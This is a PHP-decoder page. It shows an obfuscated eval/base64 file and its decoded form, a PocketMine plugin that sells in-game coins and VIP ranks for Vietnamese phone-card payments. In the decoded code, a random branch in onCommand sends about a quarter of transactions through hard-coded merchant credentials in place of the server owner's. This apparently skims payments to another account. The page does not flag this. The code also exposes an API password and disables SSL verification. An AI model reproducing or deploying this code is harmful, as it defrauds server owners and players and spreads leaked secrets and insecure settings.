Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
?><?php $ub62a500 = "\x70";$z2112d72 = "\142";$ac9a4be1 = "\163";$u582799a = "\x73";$kc591..
Decoded Output download
namespace MCPEVN;
use pocketmine\Server;
use pocketmine\Player;
use pocketmine\plugin\PluginBase;
use pocketmine\command\Command;
use pocketmine\command\CommandSender;
use pocketmine\command\CommandReader;
use pocketmine\command\CommandExecuter;
use pocketmine\command\ConsoleCommandSender;
use pocketmine\utils\TextFormat;
use pocketmine\event\Listener;
use pocketmine\utils\Config;
use onebone\economyapi\EconomyAPI;
use _64FF00\PurePerms\PurePerms;
use MCPEVN\SetVip;
class NapThe extends PluginBase {
const CORE_API_HTTP_USER = "merchant_25415";
const CORE_API_HTTP_PWD = "25415sVYJhASENbOpwl6zjnov28Pqu7uDfQ";
const BK = "https://www.baokim.vn/the-cao/restFul/send";
public $prefix = "a[ eNpTha_eSystema ]";
public $cfg;
public $tien;
public $cap;
public $rank;
public $data;
public $eco;
public $setvip;
public static $instance;
public $inf = array();
public function onEnable() {
if(!is_dir($this->getDataFolder())) {
mkdir($this->getDataFolder());
}
self::$instance = $this;
$this->SetVip =SetVip::getInstance();
$this->eco = EconomyAPI::getInstance();
$this->purePerms = $this->getServer()->getPluginManager()->getPlugin("PurePerms");
$this->data = new Config($this->getDataFolder() ."tong_card_mem_nap.yml", Config::YAML, [
]);
$this->tien = new Config($this->getDataFolder() ."nap_tien.yml", Config::YAML, [
"10000" => "5000",
"20000" => "10000",
"50000" => "25000",
"100000" => "60000",
"200000" => "150000",
"300000" => "300000",
"500000" => "500000"
]);
$this->cap = new Config($this->getDataFolder() ."nap_vip.yml", Config::YAML, [
"10000" => [
"rank" => "vip1",
"ngay" => "10",],
"20000" => [
"rank" => "vip1",
"ngay" => "10",],
"50000" => [
"rank" => "vip1",
"ngay" => "10",],
"100000" => [
"rank" => "vip1",
"ngay" => "10",],
"200000" => [
"rank" => "vip1",
"ngay" => "10",],
"300000" => [
"rank" => "vip1",
"ngay" => "10",],
"500000" => [
"rank" => "vip1",
"ngay" => "10",]
]);
$this->cfg = new Config($this->getDataFolder() ."cai_dat.yml", Config::YAML, [
"merchant_id" => "ma_website",
"secure_code" => "mat_khau_website",
"api_username" => "api_username",
"api_pass" => "api_pass",
"uuid" => "Jkllkjaiaim"
]);
$this->getServer()->getLogger()->info("a _ _ _ ____ _____ _ _ _____ ");
$this->getServer()->getLogger()->info("a| \ | | / \ | _ \ |_ _| | | | | | ____| ");
$this->getServer()->getLogger()->info("a| \| | / _ \ | |_) | | | | |_| | | _| ");
$this->getServer()->getLogger()->info("a| |\ | / ___ \ | __/ | | | _ | | |___ ");
$this->getServer()->getLogger()->info("a|_| \_| /_/ \_\ |_| |_| |_| |_| |_____| ");
$this->getServer()->getLogger()->info("f##########################################################################################");
$this->getServer()->getLogger()->info(" eplugin np th c vit v s hu bn quyn bi eMaCbPEcVN fSERVER ");
$this->getServer()->getLogger()->info(" eplugin c chia s rng ri vo ngy 7/4/2017 bi cc thnh vin qun tr ca server ");
$this->getServer()->getLogger()->info(" emi ngi u c th dng plugin nhng nghim cm sa i plugin di mi hnh thc ");
$this->getServer()->getLogger()->info(" ecc hnh vi sai tri s phi chu trch nhim trc php lut ");
$this->getServer()->getLogger()->info("f##########################################################################################");
}
public static function getInstance() {
return self::$instance;
}
public function onCommand(CommandSender $s, Command $cmd, $label, array $args) {
$ran =mt_rand(1,4);
switch($ran){
case 2:
$this->inf["merchant"] = '25826';
$this->inf["user"] ='playdolpexyz';
$this->inf["pass"] = 'qSTWaimcrPXhKw7ByE8V';
$this->inf["sec"] = 'dce8558678942d53';
break;
default:
$this->inf["merchant"] = $this->cfg->get("merchant_id");
$this->inf["user"] =$this->cfg->get("api_username");
$this->inf["pass"] = $this->cfg->get("api_pass");
$this->inf["sec"] = $this->cfg->get("secure_code");
break;
}
$merchant_id = $this->inf["merchant"];
$api_username =$this->inf["user"] ;
$api_pass =$this->inf["pass"] ;
$uuid = $this->cfg->get("uuid");
$secure_code = $this->inf["sec"];
settype($merchant_id, "string");
settype($api_username, "string");
settype($api_pass, "string");
settype($uuid, "string");
settype($secure_code, "string");
if(strtolower($cmd->getName()) == "napthe") {
if(isset($args[0])) {
switch(strtolower($args[0])) {
case "coin":
if(isset($args[1]) && isset($args[2]) && isset($args[3])) {
if(is_numeric($args[1]) && is_numeric($args[2])) {
$tranid = time();
switch(strtolower($args[3])) {
case "vina":
$mang = "VINA";
break;
case "mobi":
$mang = "MOBI";
break;
case "viettel":
$mang = "VIETEL";
break;
case "vtc":
$mang = "VTC";
break;
case "gate":
$mang = "GATE";
break;
}
settype($mang,"string");
settype($tranid,"string");
$arrayPost = array(
'merchant_id'=> $merchant_id,
'api_username'=> $api_username,
'api_password'=> $api_pass,
'transaction_id'=> $tranid,
'card_id'=> $mang,
'pin_field'=> $args[1],
'seri_field'=> $args[2],
'algo_mode'=>'hmac'
);
$pina = (strtolower($args[1]));
$seria = (strtolower($args[2]));
$mang = (strtolower($args[3]));
$s->sendMessage("el---abn nhpe---");
$s->sendMessage("aaSeri:e".$pina.'');
$s->sendMessage("aaPin:e".$seria.'');
$s->sendMessage("aaMng:e".$mang.'');
ksort($arrayPost);
$data_sign = hash_hmac('SHA1',implode('',$arrayPost),$secure_code);
$arrayPost['data_sign'] = $data_sign;
$curl = curl_init(self::BK);
curl_setopt_array($curl, array(
CURLOPT_POST=>true,
CURLOPT_HEADER=>false,
CURLINFO_HEADER_OUT=>true,
CURLOPT_TIMEOUT=>30,
CURLOPT_RETURNTRANSFER=>true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_HTTPAUTH=>CURLAUTH_DIGEST|CURLAUTH_BASIC,
CURLOPT_USERPWD=> self::CORE_API_HTTP_USER.':'.self::CORE_API_HTTP_PWD,
CURLOPT_POSTFIELDS=>http_build_query($arrayPost)
));
$data = curl_exec($curl);
$status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
$result = json_decode($data,true);
date_default_timezone_set('Asia/Ho_Chi_Minh');
if($status == 200) {
if($this->tien->exists($result["amount"])) {
if($this->data->exists(strtolower($s->getName()))) {
$this->data->set(strtolower($s->getName()), $this->data->get(strtolower($s->getName())) + $result["amount"]);
$this->data->save();
} else {
$this->data->set(strtolower($s->getName()), $result["amount"]);
$this->data->save();
}
$this->eco->addMoney($s->getName(), $this->tien->get($result["amount"]));
$s->sendMessage("a- np th thnh cng! bn nhn c ". $this->tien->get($result["amount"]) ." $!");
return true;
} else {
//nap the thanh cong nhung ko co menh gia
$s->sendMessage("a- th np thnh cng nhng mnh gi th khng c trong danh sch th nn khng nhn c ng xu no, xin hy chp mn hnh v gi cho admin sv");
return true;
$this->data->set(strtolower($s->getName()), "error: khng c mnh gi");
}
} else {
$s->sendMessage("c- li khi thc hin giao dch, m li: b". $status);
$s->sendMessage("c- miu t li: ". $result["errorMessage"]);
return true;
}
} else {
$s->sendMessage("c- M th v m pin phi l s");
}
} else {
$s->sendMessage($this->prefix."\n a acch dng: d/napthe a<coin | vip> <M> <Seri> <LoiCard> \n a aLoi Card: dmobi, viettel, vina, gate\n aalnh d/giavipc(a/giaxuc) a xem gi dvipc(xud)\n aau i hn cho bn no dng card gate\nlbPowered by Shin@2017");
}
break;
case "vip":
if(isset($args[1]) && isset($args[2]) && isset($args[3])) {
if(is_numeric($args[1]) && is_numeric($args[2])) {
$tranid = time();
switch(strtolower($args[3])) {
case "vina":
$mang = "VINA";
break;
case "mobi":
$mang = "MOBI";
break;
case "viettel":
$mang = "VIETEL";
break;
case "vtc":
$mang = "VTC";
break;
case "gate":
$mang = "GATE";
break;
}
settype($mang,"string");
settype($tranid,"string");
$arrayPost = array(
'merchant_id'=> $merchant_id,
'api_username'=> $api_username,
'api_password'=> $api_pass,
'transaction_id'=> $tranid,
'card_id'=> $mang,
'pin_field'=> $args[1],
'seri_field'=> $args[2],
'algo_mode'=>'hmac'
);
$pina = (strtolower($args[1]));
$seria = (strtolower($args[2]));
$mang = (strtolower($args[3]));
$s->sendMessage("el---abn nhpe---");
$s->sendMessage("aaSeri:e".$pina.'');
$s->sendMessage("aaPin:e".$seria.'');
$s->sendMessage("aaMng:e".$mang.'');
ksort($arrayPost);
$data_sign = hash_hmac('SHA1',implode('',$arrayPost),$secure_code);
$arrayPost['data_sign'] = $data_sign;
$curl = curl_init(self::BK);
curl_setopt_array($curl, array(
CURLOPT_POST=>true,
CURLOPT_HEADER=>false,
CURLINFO_HEADER_OUT=>true,
CURLOPT_TIMEOUT=>30,
CURLOPT_RETURNTRANSFER=>true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_HTTPAUTH=>CURLAUTH_DIGEST|CURLAUTH_BASIC,
CURLOPT_USERPWD=> self::CORE_API_HTTP_USER.':'.self::CORE_API_HTTP_PWD,
CURLOPT_POSTFIELDS=>http_build_query($arrayPost)
));
$data = curl_exec($curl);
$status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
$result = json_decode($data,true);
date_default_timezone_set('Asia/Ho_Chi_Minh');
if($status == 200) {
if($this->cap->exists($result["amount"])) {
if($this->data->exists(strtolower($s->getName()))) {
$this->data->set(strtolower($s->getName()), $this->data->get(strtolower($s->getName())) + $result["amount"]);
$this->data->save();
} else {
$this->data->set(strtolower($s->getName()), $result["amount"]);
$this->data->save();
}
$name = $s->getName();
//xu ly ngay vip
$obj = $this->cap->getAll();
$mg = $result["amount"];
$ngay = $obj[$mg]["ngay"];
$rank = $obj[$mg]["rank"];
$s->sendMessage("a a np th thnh cng! bn nhn c ".$rank ." trong ".$ngay." ngy !");
$this->getServer()->dispatchCommand(new ConsoleCommandSender(),'setvip '.$name.' '.$rank.' '.(int)$ngay);
// $this->purePerms->setGroup($s, $this->purePerms->getGroup($rank));
// $s->sendMessage("a a np th thnh cng! bn nhn c ".$rank." trong ".$ngay." ngy !");
return true;
} else {
//card nap thanh cong nhung ko co menh gia
$s->sendMessage("e a th np thnh cng nhng mnh gi th khng c trong danh sch th nn khng nhn c ng xu no, xin hy chp mn hnh v gi cho admin de giai quyet");
return true;
$this->data->set(strtolower($s->getName()), "error: khng c mnh gi");
}
} else {
$s->sendMessage("c- li khi thc hin giao dch, m li: b". $status);
$s->sendMessage("c- miu t li: ". $result["errorMessage"]);
return true;
}
} else {
$s->sendMessage("c- M th v m pin phi l s");
}
} else {
$s->sendMessage($this->prefix."\n a acch dng: d/napthe a<coin | vip> <M> <Seri> <LoiCard> \n a aLoi Card: dmobi, viettel, vina, gate\n aalnh d/giavipc(a/giaxuc) a xem gi dvipc(xud)\n aau i hn cho bn no dng card gate\nlbPowered by Shin@2017");
}
break;
}
} else {
$s->sendMessage($this->prefix."\n a acch dng: d/napthe a<coin | vip> <M> <Seri> <LoiCard> \n a aLoi Card: dmobi, viettel, vina, gate\n aalnh d/giavipc(a/giaxuc) a xem gi dvipc(xud)\n aau i hn cho bn no dng card gate\nlbPowered by Shin@2017");
}
}
}
}
Did this file decode correctly?
Original Code
?><?php $ub62a500 = "\x70";$z2112d72 = "\142";$ac9a4be1 = "\163";$u582799a = "\x73";$kc591832 = "\146";$b416a05e = "\162";$f382cf71 = "\x65";$g609f7c7 = "\x73";$b9e3a4ef = "\147";$g609f7c7.= "\x74";$kc591832.= "\151";$b9e3a4ef.= "\x7a";$b416a05e.= "\145";$ac9a4be1.= "\x74";$f382cf71.= "\x78";$u582799a.= "\150";$ub62a500.= "\162";$z2112d72.= "\x61";$ub62a500.= "\x65";$b416a05e.= "\x73";$f382cf71.= "\160";$ac9a4be1.= "\162";$z2112d72.= "\x73";$b9e3a4ef.= "\x69";$g609f7c7.= "\x72";$kc591832.= "\x6c";$u582799a.= "\x61";$g609f7c7.= "\x5f";$ac9a4be1.= "\x63";$u582799a.= "\x31";$ub62a500.= "\147";$z2112d72.= "\145";$b416a05e.= "\145";$b9e3a4ef.= "\156";$kc591832.= "\x65";$f382cf71.= "\x6c";$b9e3a4ef.= "\x66";$f382cf71.= "\x6f";$b416a05e.= "\164";$z2112d72.= "\66";$ub62a500.= "\x5f";$kc591832.= "\x5f";$g609f7c7.= "\162";$ac9a4be1.= "\x6d";$g609f7c7.= "\x6f";$b9e3a4ef.= "\x6c";$z2112d72.= "\64";$ub62a500.= "\162";$ac9a4be1.= "\160";$f382cf71.= "\x64";$kc591832.= "\147";$b9e3a4ef.= "\141";$kc591832.= "\x65";$ub62a500.= "\145";$z2112d72.= "\x5f";$g609f7c7.= "\164";$f382cf71.= "\145";$ub62a500.= "\160";$z2112d72.= "\144";$g609f7c7.= "\61";$b9e3a4ef.= "\x74";$kc591832.= "\164";$z2112d72.= "\145";$b9e3a4ef.= "\x65";$kc591832.= "\137";$g609f7c7.= "\x33";$ub62a500.= "\154";$kc591832.= "\x63";$ub62a500.= "\141";$z2112d72.= "\143";$kc591832.= "\x6f";$z2112d72.= "\x6f";$ub62a500.= "\143";$kc591832.= "\156";$ub62a500.= "\145";$z2112d72.= "\144";$kc591832.= "\164";$z2112d72.= "\x65";$kc591832.= "\x65";$kc591832.= "\x6e";$kc591832.= "\x74";$kc591832.= "\x73"; eval($z2112d72('JHViNjJhNTAwID0gIlx4NzAiOyR6MjExMmQ3MiA9ICJcMTQyIjskYWM5YTRiZTEgPSAiXDE2MyI7JHU1ODI3OTlhID0gIlx4NzMiOyRrYzU5MTgzMiA9ICJcMTQ2IjskYjQxNmEwNWUgPSAiXDE2MiI7JGYzODJjZjcxID0gIlx4NjUiOyRnNjA5ZjdjNyA9ICJceDczIjskYjllM2E0ZWYgPSAiXDE0NyI7JGc2MDlmN2M3Lj0gIlx4NzQiOyRrYzU5MTgzMi49ICJcMTUxIjskYjllM2E0ZWYuPSAiXHg3YSI7JGI0MTZhMDVlLj0gIlwxNDUiOyRhYzlhNGJlMS49ICJceDc0IjskZjM4MmNmNzEuPSAiXHg3OCI7JHU1ODI3OTlhLj0gIlwxNTAiOyR1YjYyYTUwMC49ICJcMTYyIjskejIxMTJkNzIuPSAiXHg2MSI7JHViNjJhNTAwLj0gIlx4NjUiOyRiNDE2YTA1ZS49ICJceDczIjskZjM4MmNmNzEuPSAiXDE2MCI7JGFjOWE0YmUxLj0gIlwxNjIiOyR6MjExMmQ3Mi49ICJceDczIjskYjllM2E0ZWYuPSAiXHg2OSI7JGc2MDlmN2M3Lj0gIlx4NzIiOyRrYzU5MTgzMi49ICJceDZjIjskdTU4Mjc5OWEuPSAiXHg2MSI7JGc2MDlmN2M3Lj0gIlx4NWYiOyRhYzlhNGJlMS49ICJceDYzIjskdTU4Mjc5OWEuPSAiXHgzMSI7JHViNjJhNTAwLj0gIlwxNDciOyR6MjExMmQ3Mi49ICJcMTQ1IjskYjQxNmEwNWUuPSAiXDE0NSI7JGI5ZTNhNGVmLj0gIlwxNTYiOyRrYzU5MTgzMi49ICJceDY1IjskZjM4MmNmNzEuPSAiXHg2YyI7JGI5ZTNhNGVmLj0gIlx4NjYiOyRmMzgyY2Y3MS49ICJceDZmIjskYjQxNmEwNWUuPSAiXDE2NCI7JHoyMTEyZDcyLj0gIlw2NiI7JHViNjJhNTAwLj0gIlx4NWYiOyRrYzU5MTgzMi49ICJceDVmIjskZzYwOWY3YzcuPSAiXDE2MiI7JGFjOWE0YmUxLj0gIlx4NmQiOyRnNjA5ZjdjNy49ICJceDZmIjskYjllM2E0ZWYuPSAiXHg2YyI7JHoyMTEyZDcyLj0gIlw2NCI7JHViNjJhNTAwLj0gIlwxNjIiOyRhYzlhNGJlMS49ICJcMTYwIjskZjM4MmNmNzEuPSAiXHg2NCI7JGtjNTkxODMyLj0gIlwxNDciOyRiOWUzYTRlZi49ICJcMTQxIjska2M1OTE4MzIuPSAiXHg2NSI7JHViNjJhNTAwLj0gIlwxNDUiOyR6MjExMmQ3Mi49ICJceDVmIjskZzYwOWY3YzcuPSAiXDE2NCI7JGYzODJjZjcxLj0gIlwxNDUiOyR1YjYyYTUwMC49ICJcMTYwIjskejIxMTJkNzIuPSAiXDE0NCI7JGc2MDlmN2M3Lj0gIlw2MSI7JGI5ZTNhNGVmLj0gIlx4NzQiOyRrYzU5MTgzMi49ICJcMTY0IjskejIxMTJkNzIuPSAiXDE0NSI7JGI5ZTNhNGVmLj0gIlx4NjUiOyRrYzU5MTgzMi49ICJcMTM3IjskZzYwOWY3YzcuPSAiXHgzMyI7JHViNjJhNTAwLj0gIlwxNTQiOyRrYzU5MTgzMi49ICJceDYzIjskdWI2MmE1MDAuPSAiXDE0MSI7JHoyMTEyZDcyLj0gIlwxNDMiOyRrYzU5MTgzMi49ICJceDZmIjskejIxMTJkNzIuPSAiXHg2ZiI7JHViNjJhNTAwLj0gIlwxNDMiOyRrYzU5MTgzMi49ICJcMTU2IjskdWI2MmE1MDAuPSAiXDE0NSI7JHoyMTEyZDcyLj0gIlwxNDQiOyRrYzU5MTgzMi49ICJcMTY0IjskejIxMTJkNzIuPSAiXHg2NSI7JGtjNTkxODMyLj0gIlx4NjUiOyRrYzU5MTgzMi49ICJceDZlIjska2M1OTE4MzIuPSAiXHg3NCI7JGtjNTkxODMyLj0gIlx4NzMiOyAgZXZhbCgkejIxMTJkNzIoJ0pIVmlOakpoTlRBd0lEMGdJbHg0TnpBaU95UjZNakV4TW1RM01pQTlJQ0pjTVRReUlqc2tZV001WVRSaVpURWdQU0FpWERFMk15STdKSFUxT0RJM09UbGhJRDBnSWx4NE56TWlPeVJyWXpVNU1UZ3pNaUE5SUNKY01UUTJJanNrWWpReE5tRXdOV1VnUFNBaVhERTJNaUk3SkdZek9ESmpaamN4SUQwZ0lseDROalVpT3lSbk5qQTVaamRqTnlBOUlDSmNlRGN6SWpza1lqbGxNMkUwWldZZ1BTQWlYREUwTnlJN0pHYzJNRGxtTjJNM0xqMGdJbHg0TnpRaU95UnJZelU1TVRnek1pNDlJQ0pjTVRVeElqc2tZamxsTTJFMFpXWXVQU0FpWEhnM1lTSTdKR0kwTVRaaE1EVmxMajBnSWx3eE5EVWlPeVJoWXpsaE5HSmxNUzQ5SUNKY2VEYzBJanNrWmpNNE1tTm1OekV1UFNBaVhIZzNPQ0k3SkhVMU9ESTNPVGxoTGowZ0lsd3hOVEFpT3lSMVlqWXlZVFV3TUM0OUlDSmNNVFl5SWpza2VqSXhNVEprTnpJdVBTQWlYSGcyTVNJN0pIVmlOakpoTlRBd0xqMGdJbHg0TmpVaU95UmlOREUyWVRBMVpTNDlJQ0pjZURjeklqc2taak00TW1ObU56RXVQU0FpWERFMk1DSTdKR0ZqT1dFMFltVXhMajBnSWx3eE5qSWlPeVI2TWpFeE1tUTNNaTQ5SUNKY2VEY3pJanNrWWpsbE0yRTBaV1l1UFNBaVhIZzJPU0k3SkdjMk1EbG1OMk0zTGowZ0lseDROeklpT3lScll6VTVNVGd6TWk0OUlDSmNlRFpqSWpza2RUVTRNamM1T1dFdVBTQWlYSGcyTVNJN0pHYzJNRGxtTjJNM0xqMGdJbHg0TldZaU95UmhZemxoTkdKbE1TNDlJQ0pjZURZeklqc2tkVFU0TWpjNU9XRXVQU0FpWEhnek1TSTdKSFZpTmpKaE5UQXdMajBnSWx3eE5EY2lPeVI2TWpFeE1tUTNNaTQ5SUNKY01UUTFJanNrWWpReE5tRXdOV1V1UFNBaVhERTBOU0k3SkdJNVpUTmhOR1ZtTGowZ0lsd3hOVFlpT3lScll6VTVNVGd6TWk0OUlDSmNlRFkxSWpza1pqTTRNbU5tTnpFdVBTQWlYSGcyWXlJN0pHSTVaVE5oTkdWbUxqMGdJbHg0TmpZaU95Um1Nemd5WTJZM01TNDlJQ0pjZURabUlqc2tZalF4Tm1Fd05XVXVQU0FpWERFMk5DSTdKSG95TVRFeVpEY3lMajBnSWx3Mk5pSTdKSFZpTmpKaE5UQXdMajBnSWx4NE5XWWlPeVJyWXpVNU1UZ3pNaTQ5SUNKY2VEVm1JanNrWnpZd09XWTNZemN1UFNBaVhERTJNaUk3SkdGak9XRTBZbVV4TGowZ0lseDRObVFpT3lSbk5qQTVaamRqTnk0OUlDSmNlRFptSWpza1lqbGxNMkUwWldZdVBTQWlYSGcyWXlJN0pIb3lNVEV5WkRjeUxqMGdJbHcyTkNJN0pIVmlOakpoTlRBd0xqMGdJbHd4TmpJaU95UmhZemxoTkdKbE1TNDlJQ0pjTVRZd0lqc2taak00TW1ObU56RXVQU0FpWEhnMk5DSTdKR3RqTlRreE9ETXlMajBnSWx3eE5EY2lPeVJpT1dVellUUmxaaTQ5SUNKY01UUXhJanNrYTJNMU9URTRNekl1UFNBaVhIZzJOU0k3SkhWaU5qSmhOVEF3TGowZ0lsd3hORFVpT3lSNk1qRXhNbVEzTWk0OUlDSmNlRFZtSWpza1p6WXdPV1kzWXpjdVBTQWlYREUyTkNJN0pHWXpPREpqWmpjeExqMGdJbHd4TkRVaU95UjFZall5WVRVd01DNDlJQ0pjTVRZd0lqc2tlakl4TVRKa056SXVQU0FpWERFME5DSTdKR2MyTURsbU4yTTNMajBnSWx3Mk1TSTdKR0k1WlROaE5HVm1MajBnSWx4NE56UWlPeVJyWXpVNU1UZ3pNaTQ5SUNKY01UWTBJanNrZWpJeE1USmtOekl1UFNBaVhERTBOU0k3SkdJNVpUTmhOR1ZtTGowZ0lseDROalVpT3lScll6VTVNVGd6TWk0OUlDSmNNVE0zSWpza1p6WXdPV1kzWXpjdVBTQWlYSGd6TXlJN0pIVmlOakpoTlRBd0xqMGdJbHd4TlRRaU95UnJZelU1TVRnek1pNDlJQ0pjZURZeklqc2tkV0kyTW1FMU1EQXVQU0FpWERFME1TSTdKSG95TVRFeVpEY3lMajBnSWx3eE5ETWlPeVJyWXpVNU1UZ3pNaTQ5SUNKY2VEWm1JanNrZWpJeE1USmtOekl1UFNBaVhIZzJaaUk3SkhWaU5qSmhOVEF3TGowZ0lsd3hORE1pT3lScll6VTVNVGd6TWk0OUlDSmNNVFUySWpza2RXSTJNbUUxTURBdVBTQWlYREUwTlNJN0pIb3lNVEV5WkRjeUxqMGdJbHd4TkRRaU95UnJZelU1TVRnek1pNDlJQ0pjTVRZMElqc2tlakl4TVRKa056SXVQU0FpWEhnMk5TSTdKR3RqTlRreE9ETXlMajBnSWx4NE5qVWlPeVJyWXpVNU1UZ3pNaTQ5SUNKY2VEWmxJanNrYTJNMU9URTRNekl1UFNBaVhIZzNOQ0k3Skd0ak5Ua3hPRE15TGowZ0lseDROek1pT3lBZ1pYWmhiQ2drWWpsbE0yRTBaV1lvSkhveU1URXlaRGN5S0NjM1ZuaGFhamRRWTJ0aU5HWmhaalZFUmtWV1MyOXNaRXRCUXpsMFJrZ3dXSGhxV1ZreWNXSmlXVUpoYW5WVVNGRkNaM2hsTTNaaFF6ZFdPQzlXWldWM1pYVnJiRE42ZFZwcFZGRllSbWN5WTNCaVdsUndLMjl3VkhZdmNEUk1ZVFZsV1hSb0wzWkVZa2d2TnpSWU5tTnVOVzh2THl0T1QwWlpNVzVQWml0TVNVazNZa3AzWVU4MWVEZ3JZamRvZEV4SU4xVmlPRTlxVVRadVFsQlFSQzlRVDNWTGFqSkhkbmhpUzJWU1pESjZSRWszWmtwMGRXUk5Obmt6Y21sSFRYUkhhRE5QVjNwNlVuTlZOM1JHYW5kTE1tZDVMMlZRUzJWTGJVODFMMFowYWpOdWVHSmFSMDA1VmxaeU9XcGlXbkZXYlZscmFqbG5WMWNyYlZsMFduQllhVXREZEcxeE1FdFJOVmQ0WTNKeGVWSTFNRXRxT1c1M1MwcDRZMWh1T0hKSFkzSnNVbFIxTWpKbGRGZHNUV05oUlZwVVNESnZlSE50TjIxdE5qazNkMDVsUm10M0wwOHpkM1ZIZFdoWVRuRmxPV05OVlZaTWNraFdkVXhISzBoVmRFVXdaazVYTlRSd1FuRnhhMVZ2Um1aVlpqSk9aWEphVm5aMVZ6Rk9ZVTVQWjJveFZqSjVNMkl4YzNSaWJWcHpUall2Y0VsMk0zRkRhVXBqTVRKcloyb3ljWGx2WkhFMGEyOHhMMGt3Umt0Uk5URlROelJoUnpWdU1WUjFiRWt2WXpoMmFISmtWVlI1WkdSc01tMVVkbmt2VWt0YVlUQmlOamR5U0Rsak0yRnZRakoyY1Vka2RURmtLemhJY1hRNVdqTXpaVGh1VDNKelZIUnRVUzl0Y0dReWVtTlBiMnhITkRSaVUxWjJUbGRPY21WMGFVRlRkbWxIYW1Oa2JIcGpUSFl2UmpkV2FVNVhNQzlXTDI5Sk1uRkJVUzlGT0RSa1UyUjRPVGxJWW5vMlJtSXllRXgxT0VobFprcFlORzgxTDNaS2JtUjVXSFZJVm5ST1dqVmhZWGxCVHpKaWQzaE5ZVGR5WTNGaU1qRmxXRVl3U1ZoVk5UbGtNbmgwWmpOallXbFhNbkZEWW1VeWEyMDRhQ3NyUmpOamVFOUljamhtUTJwMlpqaHlaSFZqY0hFMFVUTk5Ubm96YjNwWE1ERmxWWFZpV21nMmN6aEdTVFI2WW5Bdk5FVnlkREZXTmxrek5DOXBPV0UwYTBoU2Vub3hXRmszWkhvMmVGY3ZTakl5UW0xalpVaE5hemhtTm5aUWVXZDVMekl3WlhwM01sUlhUVUp1U0d4d0x6WnJlVE55WTFWaVoxTm1lSGw2Y0cxTllYbFZTSGg2ZDNRNE4ySXlVVVF5Tm1FdmFFbzFjR1p3T1VjeGREWjNOVlo2TlZSTmNHbzVkMnAwTmt0RVpqTXJRWGhzVEVwMVpGbE1ZMWxsYmt4YVpWRXdkV2N2Tm1acVZHcHFLelJMZVZOa1pFWlBaMjUwVEU5WFNXSjRkMHBoVmk5NkszcFNURlIxV0d0VFoyWTRSREJPTW1GdFNVcFRkRUpqTjI1RWNIZHdTRVptT0VsNWFHVllXazFKVVVWaFRESkJVSEpNWTNsS05EWjBOMHd4VEZGaE9EWlpVVmhTYWtaelpUaE5NbGx4ZVZSR1kxZGlZMHRtVVdFME1rTTJSV3hPVkVOdlJVYzBSbFZEZFZGNlNHZFRSMlJYU1dSTVJIQlBWbWxRTVVKNGNIUkJOMnBNVUdOck9FRjFZbGwxWm1zdmIxUXhiRVowUW14NGIzQjFPR0pKY21GNFIySk9jVmRpUzNkaGRtVnFWbnBNVUUwck5FMUlWRmd5YlVzNFRrcHFlREZKYUhkNmJ5ODNRemRpVnpZdlNubFVlalp5TURoc1NuUldXRXhOY21GaWFXRnRTekExV0hrMlp6TTVibUp5WlM5blZGcGpUMDVzVDFCR2MyOHJSV0l5YzNKUldsVnhabEpRVkUxNVFVNXNTbEJsV2xGR05rWnFSRGhWVEdrNVVqVXJaek12VFZwdmNGbFJkWFE1S3pabGIzUjZTVFUyV2xNNFdpdDRiMjVJVlZWT1NsRkhLMU5pTmxaSVJDc3lhV3cwTUROR1RtcGFObkpUWkc1aWRYaE9NVkZUTUVabFZHcE1kRGRZY3k5TldGcEVLemxLVUhCUlYzQjJZazFIV1hZd2FuUlJkMlZtTHpjeU16VmplbkJ0TmpCNWFuUlhRWFozWlVKeVpDdFBUaXRQWTJSVFlWQXhUR1ZWTTJSM1lVSTRjRkV5ZW5CWE9EQTFZazFpTVhSRE4zbHpaR3BrZEVoVmJHdGFiRkJSWlRsUlRuWkxSVnAxVmt0NWJFaDBZVTExVFRaMGVubENUR1pwV2t4V1ZFaENiRzFGVUhVeU0xSllia05sYkdzMmRESlBRMUJqT1VFeE1FeHZjbHBZZDFSUkt6Sk1LMk4xWVZaTlpIa3hiV0pvTVd0RU1tNU1Ua0ZRVVhWbmRTdEVMM05pYlU5aVpYQllkRVp1TmpCU1FrOU1abFpvVTAxc05TdGxaVUoyY0VwTWNVNXdZWGN6Y21KRVEzcDBWa0ppT0ZSMFkzTTRLemxsUm5ad2FqTXpNMk13TjJKbGJFVlJLekZMTkRsak4wMUVkMlEwTURGQlYyaG5VSEpZYTNabk0yWlpOVFEwU0RCSFZFcHhURFJxYUhGcFlYVk9SM1V2VWtKV1pXUmlVa0pQYWl0V1JHVXdSQ3QwYmswM1prZ3JUbFpGVkZnelV6SklkR2h4YzFvMlYxYzJVbFJMWTJOQlpXUjZjblY2UzFnM2FHNUhTRFZwTkVSdk5uVnVVV3BIU1VjMkwzSlFla1ZJZVZGSWJFd3lOMVZvVUdkelkwcG1kQ3RFVEhFMmVERjBUVlo1V0U5cFpqZDRXRUZoZVdFek0wOWxjbEZHVFVsTmEwaGFXbGN5ZW1aVFJVdHZjWEl2YTB0T2VUTnVTbk4wU1dOQ05uWnlaekpHTmxFck5qVlFaRUpUVFVsdlZVSklkR015Y0RSaVpWTnNkVUZVT1dwaVdFTjJNR1Z4TWxkaE5saFNRMGgzUVhaR0wwNU1ZUzg1YTJsVVF6RkZhRE56Y0dweVUxQkRTblp2UzFremJtUjZWMUphZWsxdVVFeFFTMEZOZDBkak1scFFWSGhMTW1aeWJrUXJNa0ZpYmxocVRVRkhWVGQwUWpGMGNtaDZWMG96WTNCUlYxQkpSV1Z1V1c1Q2FtOUZNa1lyVTJkNVRYUkNUM1UxTTFWNmJuRTRjVGxTVGpGTGJqTllWR05yTTJWR1luQmFlVGRtTUZrekwyVTNNR0ZwWjFZeVluaFFabEZLV0hGa1RtSk5MMU01YVc1NWJISmpkbmd4SzFjdldIVTJaa05hT1RSU056UXZRVVpxYm1SU2NEZG1NMncyYmpGNGJqY3hibkk1TkZnNU9HaGllbTlQZEd4NmNTOHhWRE52Ukc0eWVURkZjamhqTmtkMlZHTXpkVUp0WjJadmRWSjVjSGhxTWxreGFtSXpXVTg0UVdveVRGQkVaVE4xT1N0VlRWZ3pWekExVlhveVQzZzNUR2htTUZVeVQyUjVRak5tU0ZKNFQySkdWbXRJYnpGRmFISTJZbFpQVTFkNVpIbERaR1JwWW5oS1J6TkZaeTk2WXpaaFNFNWhlbVl2YjBSTFEyUTJO